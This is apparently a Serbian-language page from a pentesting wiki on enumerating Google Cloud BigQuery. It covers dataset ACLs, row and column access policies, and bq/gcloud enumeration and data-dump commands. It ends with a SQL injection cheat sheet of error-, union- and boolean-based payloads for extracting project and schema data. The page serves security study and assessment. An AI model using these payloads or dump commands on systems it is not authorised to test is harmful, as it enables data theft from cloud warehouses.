# GCP - Bigquery Enum

{{#include ../../../banners/hacktricks-training.md}}

## Osnovne informacije

Google Cloud BigQuery je **potpuno upravljani, serverless enterprise data warehouse**, koji nudi mogućnosti za **analizu petabajta** podataka, efikasno upravljajući velikim skupovima podataka. Kao Platforma kao usluga (PaaS), pruža korisnicima infrastrukturu i alate za olakšavanje upravljanja podacima bez potrebe za ručnim nadzorom.

Podržava upite koristeći **ANSI SQL**. Glavni objekti su **datasets** koji sadrže **tables** koje sadrže SQL **data**.

### Enkripcija

Podrazumevano se koristi **Google-managed encryption key**, iako je moguće konfigurisati **Customer-managed encryption key (CMEK)**. Moguće je naznačiti enkripcioni ključ po dataset-u i po tabeli unutar dataset-a.

### Isticanje

Moguće je naznačiti **vreme isteka u dataset-u** tako da će svaka nova tabela kreirana u ovom dataset-u biti **automatski obrisana** nakon određenog broja dana od kreiranja.

### Spoljni izvori

Bigquery je duboko integrisan sa drugim Google uslugama. Moguće je učitati podatke iz buckets, pub/sub, google drive, RDS baza podataka...

### Dataset ACLs

Kada se dataset kreira, **ACLs se pridružuju** kako bi se omogućio pristup. Podrazumevano se dodeljuju **Owner** privilegije **korisniku koji je kreirao** dataset, a zatim **Owner** grupi **projectOwners** (Vlasnici projekta), **Writer** grupi **projectWriters,** i **Reader** grupi **projectReaders**:
```bash
bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...
```
### Kontrola pristupa redovima tabele

Moguće je **kontrolisati redove kojima će glavni korisnik moći da pristupi unutar tabele** pomoću politika pristupa redovima. One se definišu unutar tabele koristeći [**DDL**](https://cloud.google.com/bigquery/docs/reference/standard-sql/data-definition-language#create_row_access_policy_statement).\
Politika pristupa definiše filter i **samo odgovarajući redovi** sa tim filterom će biti **dostupni** označenim glavnim korisnicima.
```sql
# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
```

```bash
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
```
### Kontrola pristupa kolonama

<figure><img src="../../../images/image (12).png" alt=""><figcaption></figcaption></figure>

Da biste ograničili pristup podacima na nivou kolone:

1. **Definišite taksonomiju i oznake politike**. Kreirajte i upravljajte taksonomijom i oznakama politike za vaše podatke. [https://console.cloud.google.com/bigquery/policy-tags](https://console.cloud.google.com/bigquery/policy-tags)
2. Opcionalno: Dodelite **Data Catalog Fine-Grained Reader ulogu jednom ili više principala** na jednoj ili više oznaka politike koje ste kreirali.
3. **Dodelite oznake politike vašim BigQuery kolonama**. U BigQuery, koristite anotacije šeme da dodelite oznaku politike svakoj koloni gde želite da ograničite pristup.
4. **Sprovodite kontrolu pristupa na taksonomiji**. Sprovođenje kontrole pristupa uzrokuje da se ograničenja pristupa definisana za sve oznake politike u taksonomiji primene.
5. **Upravljajte pristupom na oznakama politike**. Koristite [Identity and Access Management](https://cloud.google.com/iam) (IAM) politike da ograničite pristup svakoj oznaci politike. Politika važi za svaku kolonu koja pripada oznaci politike.

Kada korisnik pokuša da pristupi podacima kolone u vreme upita, BigQuery **proverava oznaku politike kolone i njenu politiku da vidi da li je korisnik ovlašćen da pristupi podacima**.

> [!TIP]
> Kao sažetak, da biste ograničili pristup nekim kolonama nekim korisnicima, možete **dodati oznaku koloni u šemi i ograničiti pristup** korisnika toj oznaci sprovodeći kontrolu pristupa na taksonomiji oznake.

Da biste sproveli kontrolu pristupa na taksonomiji, potrebno je omogućiti uslugu:
```bash
gcloud services enable bigquerydatapolicy.googleapis.com
```
Moguće je videti oznake kolona sa:
```bash
bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]
```
### Enumeracija
```bash
# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account
```
### BigQuery SQL Injection

Za više informacija možete proveriti blog post: [https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac](https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac). Ovde će biti date samo neke pojedinosti.

**Komentari**:

- `select 1#from here it is not working`
- `select 1/*between those it is not working*/` Ali samo inicijalni neće raditi
- `select 1--from here it is not working`

Dobijte **informacije** o **okruženju** kao što su:

- Trenutni korisnik: `select session_user()`
- ID projekta: `select @@project_id`

Kombinujte redove:

- Svi nazivi tabela: `string_agg(table_name, ', ')`

Dobijte **datasets**, **tables** i **column** nazive:

- **Project** i **dataset** naziv:
```sql
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
```
- **Nazivi kolona** i **tabela** svih **tabela** u skupu podataka:
```sql
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
```
- **Ostali skupovi podataka** u istom projektu:
```sql
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA
```
**Tipovi SQL injekcija:**

- Na osnovu greške - konverzija: `select CAST(@@project_id AS INT64)`
- Na osnovu greške - deljenje sa nulom: `' OR if(1/(length((select('a')))-1)=1,true,false) OR '`
- Na osnovu unije (morate koristiti ALL u bigquery): `UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#`
- Na osnovu boolean-a: `` ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'# ``
- Potencijalno na osnovu vremena - Upotreba javnih skupova podataka primer: `` SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000 ``

**Dokumentacija:**

- Lista svih funkcija: [https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators)
- Izjave za skriptovanje: [https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting](https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting)

### Eskalacija privilegija & Post eksploatacija

{{#ref}}
../gcp-privilege-escalation/gcp-bigquery-privesc.md
{{#endref}}

### Postojanost

{{#ref}}
../gcp-persistence/gcp-bigquery-persistence.md
{{#endref}}

## Reference

- [https://cloud.google.com/bigquery/docs/column-level-security-intro](https://cloud.google.com/bigquery/docs/column-level-security-intro)

{{#include ../../../banners/hacktricks-training.md}}
